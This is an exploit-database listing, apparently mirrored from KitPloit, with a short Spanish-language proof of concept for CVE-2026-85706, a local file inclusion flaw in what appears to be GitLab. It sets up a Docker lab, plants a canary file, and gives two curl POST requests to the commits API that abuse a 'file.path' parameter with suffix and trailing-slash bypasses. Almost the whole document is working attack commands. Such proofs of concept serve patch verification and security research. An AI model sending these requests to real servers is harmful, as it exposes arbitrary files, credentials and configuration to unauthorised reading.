Sploitus

Exploit for CVE-2026-85706_docker_exp

kitploit · 2026-09-11

Exploit Code

MARKDOWN39 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FLOWERWITCH-CVE-2026-85706_DOCKER_EXP
# 1\. Descargar docker

root@kitploit:~
    
    
    git clone  https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
    docker compose up -d
    

  2. Escribir la información de prueba LFI



root@kitploit:~
    
    
    docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
    

  3. Leer y verificar



root@kitploit:~
    
    
    # Método de omisión 1: sufijo .json
    curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
      -H "Content-Type: application/json" \
      --data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'
    
    # Método de omisión 2: barra final
    curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
    

![image](https://assets.kitploit.com/production/public/readmes/54811/3f167e32ed56298273d215faa223c540d5d36288b7e43da7dc2614a9b810b01e/7b76e408252c18c1b653ee0ff8e0f5eb44a1d8761f893ed0aeffcb7237e1cc49-display-v1.webp)